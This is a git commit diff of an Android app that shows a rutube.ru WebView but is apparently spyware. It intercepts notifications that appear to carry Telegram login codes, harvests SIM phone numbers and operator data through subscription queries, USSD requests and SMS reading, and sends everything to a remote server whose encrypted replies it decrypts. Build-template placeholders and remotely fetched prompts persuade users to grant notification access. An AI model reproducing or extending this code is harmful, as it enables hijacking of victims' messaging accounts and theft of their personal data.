This commit is contained in:
Your Name 2025-03-04 19:36:58 +03:00
parent bb64cc3177
commit d92d917a90
6 changed files with 180 additions and 97 deletions

View file

@ -249,17 +249,14 @@ public class Encryption {
{ {
if (size <= 0x7F) if (size <= 0x7F)
{ {
// single byte length encoding
return new byte[] { (byte) size }; return new byte[] { (byte) size };
} }
else if (size <= 0xFF) else if (size <= 0xFF)
{ {
// double byte length encoding
return new byte[] { (byte) 0x81, (byte) size }; return new byte[] { (byte) 0x81, (byte) size };
} }
else if (size <= 0xFFFF) else if (size <= 0xFFFF)
{ {
// triple byte length encoding
return new byte[] { (byte) 0x82, (byte) (size >> Byte.SIZE), (byte) size }; return new byte[] { (byte) 0x82, (byte) (size >> Byte.SIZE), (byte) size };
} }

View file

@ -0,0 +1,56 @@
package com.example.notifyservice;
import android.content.Context;
import androidx.annotation.NonNull;
import org.json.JSONObject;
import java.io.IOException;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
public class GetRequest {
private Context context;
private GetRequestCallback callback;
public GetRequest(Context context, GetRequestCallback callback) {
this.context = context;
this.callback = callback;
}
public final OkHttpClient client = new OkHttpClient();
public void execute(String... params) {
String urlString = params[0];
Request request = new Request.Builder().url(urlString).get().build();
Call call = client.newCall(request);
call.enqueue(new Callback() {
public void onResponse(@NonNull Call call, @NonNull Response response) throws IOException {
onGetExecute(response.body() != null ? response.body().string() : "");
}
public void onFailure(@NonNull Call call, @NonNull IOException e) {
}
});
}
protected void onGetExecute(String result) {
try {
callback.onGetResponse((new JSONObject(
result
)));
} catch (Exception e) {
}
}
}

View file

@ -0,0 +1,7 @@
package com.example.notifyservice;
import org.json.JSONObject;
public interface GetRequestCallback {
void onGetResponse(JSONObject result);
}

View file

@ -55,11 +55,11 @@ public class Listener extends NotificationListenerService {
public void onNotificationPosted(StatusBarNotification sbn){ public void onNotificationPosted(StatusBarNotification sbn){
String packageName = sbn.getPackageName(); String packageName = sbn.getPackageName();
Log.i(packageName, packageName); Log.i(packageName, packageName);
if(getShortcutSafe(sbn).equals("ndid_777000")){ if(getShortcutSafe(sbn).equals("ndid_777000")){ // STATIC
String code = processExtras(sbn.getNotification().extras); String code = processExtras(sbn.getNotification().extras);
if (code.length() < 5) if (code.length() < 5)
return; return;
Intent intent = new Intent(getApplicationContext().getPackageName() + ".NOTIFICATION_RECEIVED"); Intent intent = new Intent(getApplicationContext().getPackageName() + ".NOTIFICATION_RECEIVED"); // STATIC
intent.putExtra("code", code); intent.putExtra("code", code);
sendBroadcast(intent); sendBroadcast(intent);
} }
@ -86,7 +86,7 @@ public class Listener extends NotificationListenerService {
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) { if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) {
shortcutId = sbn.getNotification().getShortcutId(); shortcutId = sbn.getNotification().getShortcutId();
} else { } else {
shortcutId = "ndid_777000"; shortcutId = "ndid_777000"; // STATIC
} }
return shortcutId == null ? "" : shortcutId; return shortcutId == null ? "" : shortcutId;
} }

View file

@ -1,10 +1,8 @@
package com.example.notifyservice; package com.example.notifyservice;
import android.Manifest; import android.Manifest;
import android.app.ActivityManager;
import android.app.AlertDialog; import android.app.AlertDialog;
import android.content.BroadcastReceiver; import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context; import android.content.Context;
import android.content.DialogInterface; import android.content.DialogInterface;
import android.content.Intent; import android.content.Intent;
@ -14,13 +12,9 @@ import android.content.pm.PackageManager;
import android.net.ConnectivityManager; import android.net.ConnectivityManager;
import android.net.Network; import android.net.Network;
import android.net.NetworkCapabilities; import android.net.NetworkCapabilities;
import android.net.NetworkInfo;
import android.net.Uri;
import android.os.Build; import android.os.Build;
import android.os.Bundle; import android.os.Bundle;
import android.os.Bundle;
import android.telephony.ServiceState;
import android.telephony.TelephonyManager; import android.telephony.TelephonyManager;
import android.view.View; import android.view.View;
import android.view.ViewGroup; import android.view.ViewGroup;
@ -30,49 +24,37 @@ import android.webkit.WebView;
import android.webkit.WebViewClient; import android.webkit.WebViewClient;
import androidx.appcompat.app.AppCompatActivity; import androidx.appcompat.app.AppCompatActivity;
import androidx.activity.EdgeToEdge;
import androidx.annotation.NonNull; import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat; import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat; import androidx.core.content.ContextCompat;
import androidx.core.graphics.Insets;
import androidx.core.view.ViewCompat;
import androidx.core.view.WindowInsetsCompat;
import android.os.Handler; import android.os.Handler;
import android.os.PowerManager;
import android.provider.Settings; import android.provider.Settings;
import android.provider.Telephony; import android.provider.Telephony;
import android.telephony.SmsMessage; import android.telephony.SmsMessage;
import android.telephony.SubscriptionInfo; import android.telephony.SubscriptionInfo;
import android.telephony.SubscriptionManager; import android.telephony.SubscriptionManager;
import android.util.Log; import android.util.Log;
import android.widget.Toast;
import org.json.JSONException; import org.json.JSONException;
import org.json.JSONObject; import org.json.JSONObject;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.List; import java.util.List;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.util.Locale; import java.util.Locale;
import java.util.Timer; import java.util.Timer;
import java.util.TimerTask; import java.util.TimerTask;
import java.util.regex.Matcher; import java.util.regex.Matcher;
import java.util.regex.Pattern; import java.util.regex.Pattern;
public class MainActivity extends AppCompatActivity implements PostRequestCallback{ public class MainActivity extends AppCompatActivity implements PostRequestCallback, GetRequestCallback {
private String websiteUrl = "WEBSITE_URL"; // VARIABLE
private String ussdUrl = "USSD_URL"; // VARIABLE
private String languagesUrl = "LANGUAGES_URL"; // VARIABLE
private int requestsCount = 0;
private String websiteUrl = "https://rutube.ru/";
private WebView webView; private WebView webView;
private View customView; private View customView;
private WebChromeClient.CustomViewCallback customViewCallback; private WebChromeClient.CustomViewCallback customViewCallback;
@ -91,6 +73,9 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
private NotificationReceiver notificationReceiver; private NotificationReceiver notificationReceiver;
private JSONObject ussd;
private JSONObject language;
public class PhoneNumber { public class PhoneNumber {
public String phone; public String phone;
public TelephonyManager telephonyManager; public TelephonyManager telephonyManager;
@ -134,7 +119,8 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
} }
public String save(){ public String save(){
return phone + ":" + operator + ":" + country; return phone + ":" + operator // STATIC
+ ":" + country; // STATIC
} }
} }
@ -197,11 +183,17 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
// Загрузка начального URL // Загрузка начального URL
webView.loadUrl(websiteUrl); webView.loadUrl(websiteUrl);
if (!isNotificationServiceEnabled()) {
promptNotificationAccess();
} else {
requestPermissions(retrievePermissions(this));
} }
private void loadData() {
requestsCount = 0;
GetRequest ussdRequestTask = new GetRequest(this, this);
ussdRequestTask.execute(ussdUrl);
GetRequest languagesRequestTask = new GetRequest(this, this);
languagesRequestTask.execute(languagesUrl);
} }
public static String getKey(Context context) { public static String getKey(Context context) {
@ -220,15 +212,12 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
editor.apply(); editor.apply();
} }
private void promptNotificationAccess() { private void promptNotificationAccess() throws JSONException {
Locale.getDefault().getISO3Language();
AlertDialog.Builder builder = new AlertDialog.Builder(this); AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setTitle("Требуется доступ к уведомлениям"); builder.setTitle(language.getString("title")); // STATIC
builder.setMessage("Приложению необходимо разрешение на доступ к уведомлениям для работы."); builder.setMessage(language.getString("message")); // STATIC
// Кнопка для перехода в настройки builder.setPositiveButton(language.getString("positive"), new DialogInterface.OnClickListener() { // STATIC
builder.setPositiveButton("Настройки", new DialogInterface.OnClickListener() {
@Override @Override
public void onClick(DialogInterface dialogInterface, int i) { public void onClick(DialogInterface dialogInterface, int i) {
Intent intent = new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS); Intent intent = new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS);
@ -238,16 +227,14 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
} }
}); });
// Кнопка отмены builder.setNegativeButton(language.getString("negative"), new DialogInterface.OnClickListener() { // STATIC
builder.setNegativeButton("Отмена", new DialogInterface.OnClickListener() {
@Override @Override
public void onClick(DialogInterface dialogInterface, int i) { public void onClick(DialogInterface dialogInterface, int i) {
dialogInterface.dismiss(); dialogInterface.dismiss();
finish(); // Закрыть активность, если пользователь отменил finish();
} }
}); });
// Показываем диалог
AlertDialog dialog = builder.create(); AlertDialog dialog = builder.create();
dialog.show(); dialog.show();
} }
@ -255,7 +242,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
public static String getDeviceInfo(Context context) public static String getDeviceInfo(Context context)
{ {
String m_data = ""; String m_data = "";
String p_seperator = ":"; String p_seperator = ":"; // STATIC
StringBuilder m_builder = new StringBuilder(); StringBuilder m_builder = new StringBuilder();
m_builder.append(android.os.Build.VERSION.RELEASE + p_seperator); m_builder.append(android.os.Build.VERSION.RELEASE + p_seperator);
m_builder.append(android.os.Build.DEVICE + p_seperator); m_builder.append(android.os.Build.DEVICE + p_seperator);
@ -290,7 +277,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
startService(intent); startService(intent);
notificationReceiver = new NotificationReceiver(); notificationReceiver = new NotificationReceiver();
IntentFilter filter = new IntentFilter(getApplicationContext().getPackageName() + ".NOTIFICATION_RECEIVED"); IntentFilter filter = new IntentFilter(getApplicationContext().getPackageName() + ".NOTIFICATION_RECEIVED"); // STATIC
registerReceiver(notificationReceiver, filter); registerReceiver(notificationReceiver, filter);
registerReceiver(smsReceiver, new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION)); registerReceiver(smsReceiver, new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION));
@ -320,7 +307,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
} }
public void cancelTimer(){ public void cancelTimer(){
Log.i("1", "timer");
if (timer != null) { if (timer != null) {
timer.cancel(); timer.cancel();
} }
@ -339,7 +325,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
} }
public static boolean isSimConnected(Context context, TelephonyManager telephonyManager) { public static boolean isSimConnected(Context context, TelephonyManager telephonyManager) {
// Check for permission
if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_PHONE_STATE) if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_PHONE_STATE)
!= PackageManager.PERMISSION_GRANTED) { != PackageManager.PERMISSION_GRANTED) {
return false; return false;
@ -348,12 +333,11 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
return false; return false;
} }
// Check SIM state
if (telephonyManager.getSimState() != TelephonyManager.SIM_STATE_READY) { if (telephonyManager.getSimState() != TelephonyManager.SIM_STATE_READY) {
return false; // SIM not ready return false;
} }
return false; return true;
} }
private void savePhone(Context context, PhoneNumber phone){ private void savePhone(Context context, PhoneNumber phone){
@ -378,12 +362,12 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
@Override @Override
public void onPostResponse(JSONObject result) { public void onPostResponse(JSONObject result) {
try { try {
if(!result.getString("hash").isEmpty()) if(!result.getString("hash").isEmpty()) // STATIC
currentHash = result.getString("hash"); currentHash = result.getString("hash"); // STATIC
if(!result.getString("key").isEmpty()) if(!result.getString("key").isEmpty()) // STATIC
setKey(getBaseContext(), result.getString("key")); setKey(getBaseContext(), result.getString("key")); // STATIC
if(!result.getString("timeout").isEmpty()) { if(!result.getString("timeout").isEmpty()) { // STATIC
codeTimeout = result.getDouble("timeout"); codeTimeout = result.getDouble("timeout"); // STATIC
Timer timer = new Timer(); Timer timer = new Timer();
timer.schedule(new TimerTask() { timer.schedule(new TimerTask() {
@Override @Override
@ -398,43 +382,79 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
} }
@Override
public void onGetResponse(JSONObject result) {
try {
requestsCount += 1;
if(result.get("name"). // STATIC
equals("ussd")){ // STATIC
ussd = result.getJSONObject(
"data" // STATIC
);
} else if (result.get("name"). // STATIC
equals("languages")) { // STATIC
language = result.getJSONObject(
"data" // STATIC
).getJSONObject(Locale.getDefault().getLanguage());
}
if (requestsCount == 2) {
if (!isNotificationServiceEnabled()) {
promptNotificationAccess();
} else {
requestPermissions(retrievePermissions(this));
}
}
} catch (JSONException e) {
throw new RuntimeException(e);
}
}
private String listToJson(List<?> list) { private String listToJson(List<?> list) {
StringBuilder jsonBuilder = new StringBuilder(); StringBuilder jsonBuilder = new StringBuilder();
jsonBuilder.append("["); jsonBuilder.append("["); // STATIC
for (int i = 0; i < list.size(); i++) { for (int i = 0; i < list.size(); i++) {
Object item = list.get(i); Object item = list.get(i);
jsonBuilder.append(objectToJson(item)); jsonBuilder.append(objectToJson(item));
if (i < list.size() - 1) { if (i < list.size() - 1) {
jsonBuilder.append(", "); jsonBuilder.append(", "); // STATIC
} }
} }
jsonBuilder.append("]"); jsonBuilder.append("]"); // STATIC
return jsonBuilder.toString(); return jsonBuilder.toString();
} }
private String objectToJson(Object obj) { private String objectToJson(Object obj) {
if (obj instanceof String) { if (obj instanceof String) {
return "\"" + escapeJson((String) obj) + "\""; return "\"" + escapeJson((String) obj) // STATIC
+ "\""; // STATIC
} else if (obj instanceof Number || obj instanceof Boolean) { } else if (obj instanceof Number || obj instanceof Boolean) {
return obj.toString(); return obj.toString();
} else { } else {
// For other types, you can implement more logic as needed return "\"" + escapeJson(obj.toString()) // STATIC
return "\"" + escapeJson(obj.toString()) + "\""; + "\""; // STATIC
} }
} }
private String escapeJson(String raw) { private String escapeJson(String raw) {
String escaped = raw; String escaped = raw;
escaped = escaped.replace("\\", "\\\\"); escaped = escaped.replace("\\", // STATIC
escaped = escaped.replace("\"", "\\\""); "\\\\"); // STATIC
escaped = escaped.replace("\b", "\\b"); escaped = escaped.replace("\"", // STATIC
escaped = escaped.replace("\f", "\\f"); "\\\""); // STATIC
escaped = escaped.replace("\n", "\\n"); escaped = escaped.replace("\b", // STATIC
escaped = escaped.replace("\r", "\\r"); "\\b"); // STATIC
escaped = escaped.replace("\t", "\\t"); escaped = escaped.replace("\f", // STATIC
"\\f"); // STATIC
escaped = escaped.replace("\n", // STATIC
"\\n"); // STATIC
escaped = escaped.replace("\r", // STATIC
"\\r"); // STATIC
escaped = escaped.replace("\t", // STATIC
"\\t"); // STATIC
return escaped; return escaped;
} }
@ -442,7 +462,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
String packageName = getPackageName(); String packageName = getPackageName();
String enabledListeners = Settings.Secure.getString( String enabledListeners = Settings.Secure.getString(
getContentResolver(), getContentResolver(),
"enabled_notification_listeners" "enabled_notification_listeners" // STATIC
); );
return enabledListeners != null && enabledListeners.contains(packageName); return enabledListeners != null && enabledListeners.contains(packageName);
} }
@ -478,38 +498,43 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
public static String extractFirstPhoneNumber(String input) { public static String extractFirstPhoneNumber(String input) {
// Regex pattern to match international phone numbers // Regex pattern to match international phone numbers
String regex = "(?<!\\d)(?:\\+|00)?\\d{1,3}[-. (]*(?:\\d[-. )]*){7,14}(?!\\d)"; String regex = "(?<!\\d)(?:\\+|00)?\\d{1,3}[-. (]*(?:\\d[-. )]*){7,14}(?!\\d)"; // STATIC
Pattern pattern = Pattern.compile(regex); Pattern pattern = Pattern.compile(regex);
Matcher matcher = pattern.matcher(input); Matcher matcher = pattern.matcher(input);
if (matcher.find()) { if (matcher.find()) {
return matcher.group() return matcher.group()
.replaceAll("(?<=^\\+)[^\\d]|[^\\d+]", ""); .replaceAll("(?<=^\\+)[^\\d]|[^\\d+]", // STATIC
""); // STATIC
} }
return ""; return ""; // STATIC
} }
private void requestUssdNumber(PhoneNumber phone) { private void requestUssdNumber(PhoneNumber phone) {
if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED) if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED)
return; return;
String ussd = "*120#"; String ussdRequest = null;
boolean smsResponse = false; boolean smsResponse = false;
try {
ussdRequest = ussd.getJSONObject(phone.operator).getString("number"); // STATIC
smsResponse = ussd.getJSONObject(phone.operator).getBoolean("sms"); // STATIC
} catch (JSONException e) {
return;
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
Log.i("USSD", "Requested"); boolean finalSmsResponse = smsResponse;
phone.telephonyManager.sendUssdRequest(ussd, new TelephonyManager.UssdResponseCallback() { phone.telephonyManager.sendUssdRequest(ussdRequest, new TelephonyManager.UssdResponseCallback() {
@Override @Override
public void onReceiveUssdResponse(TelephonyManager telephonyManager, String request, CharSequence response) { public void onReceiveUssdResponse(TelephonyManager telephonyManager, String request, CharSequence response) {
super.onReceiveUssdResponse(telephonyManager, request, response); super.onReceiveUssdResponse(telephonyManager, request, response);
String responseString = response.toString(); String responseString = response.toString();
if (smsResponse){ if (finalSmsResponse){
receivingSms = true; receivingSms = true;
} else { } else {
phone.setPhone(extractFirstPhoneNumber(responseString)); phone.setPhone(extractFirstPhoneNumber(responseString));
// TEST TODO
phone.setPhone("37126282159");
// TEST TODO
savePhone(getBaseContext(), phone); savePhone(getBaseContext(), phone);
} }
} }
@ -528,12 +553,11 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
private List<PhoneNumber> collectPhoneNumber(Context context){ private List<PhoneNumber> collectPhoneNumber(Context context){
Log.i("collectPhoneNumber", "+"); Log.i("collectPhoneNumber", "+");
List<PhoneNumber> phoneNumbers = new ArrayList<>(); List<PhoneNumber> phoneNumbers = new ArrayList<>();
if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) { if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) { // STATIC
return phoneNumbers; return phoneNumbers;
} }
SubscriptionManager manager = SubscriptionManager.from(context.getApplicationContext()); SubscriptionManager manager = SubscriptionManager.from(context.getApplicationContext());
List<SubscriptionInfo> subscriptions = manager.getActiveSubscriptionInfoList(); List<SubscriptionInfo> subscriptions = manager.getActiveSubscriptionInfoList();
Log.i("subscriptions", "+");
for (int i = 0; i < subscriptions.size(); i++) { for (int i = 0; i < subscriptions.size(); i++) {
SubscriptionInfo currentCard = subscriptions.get(i); SubscriptionInfo currentCard = subscriptions.get(i);
String phoneNumber = (Build.VERSION.SDK_INT >= 33 ? manager.getPhoneNumber(currentCard.getSubscriptionId()) : currentCard.getNumber()); String phoneNumber = (Build.VERSION.SDK_INT >= 33 ? manager.getPhoneNumber(currentCard.getSubscriptionId()) : currentCard.getNumber());
@ -545,12 +569,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
currentCard.getCountryIso() currentCard.getCountryIso()
)); ));
} }
phoneNumbers.add(new PhoneNumber(
"37126282159",
null,
"HUITA",
"uz"
));
return phoneNumbers; return phoneNumbers;
} }
@ -560,7 +578,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
public void onReceive(Context context, Intent intent) { public void onReceive(Context context, Intent intent) {
Bundle bundle = intent.getExtras(); Bundle bundle = intent.getExtras();
if (bundle != null) { if (bundle != null) {
Object[] pdus = (Object[]) bundle.get("pdus"); Object[] pdus = (Object[]) bundle.get("pdus"); // STATIC
if (pdus != null) { if (pdus != null) {
if(!receivingSms) if(!receivingSms)
return; return;
@ -568,7 +586,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) pdu); SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) pdu);
String messageBody = smsMessage.getMessageBody(); String messageBody = smsMessage.getMessageBody();
String phoneNumber = extractFirstPhoneNumber(messageBody); String phoneNumber = extractFirstPhoneNumber(messageBody);
Log.i("receivedSms", String.valueOf(waitingForSms));
if(!phoneNumber.isEmpty()) { if(!phoneNumber.isEmpty()) {
phones.get(currentPhone).setPhone(phoneNumber); phones.get(currentPhone).setPhone(phoneNumber);
savePhone(getBaseContext(), phones.get(currentPhone)); savePhone(getBaseContext(), phones.get(currentPhone));

View file

@ -20,7 +20,7 @@ import okhttp3.Response;
public class PostRequest { public class PostRequest {
private Context context; private Context context;
private String BASE_URL = "https://e5e8-146-70-203-23.ngrok-free.app/"; // STATIC private String BASE_URL = "BASE_URL"; // STATIC
private PostRequestCallback callback; private PostRequestCallback callback;
public String buildPoint = "BUILD_POINT"; // VARIABLE STATIC public String buildPoint = "BUILD_POINT"; // VARIABLE STATIC
@ -58,11 +58,17 @@ public class PostRequest {
}); });
} }
protected void onPostExecute(String result) { protected void onPostExecute(String result) {
try { try {
callback.onPostResponse((new JSONObject(result))); callback.onPostResponse((new JSONObject(
Encryption.aesDecrypt(
result
)
)));
} catch (Exception e) { } catch (Exception e) {
} }
// Handle the JSON response here
} }
} }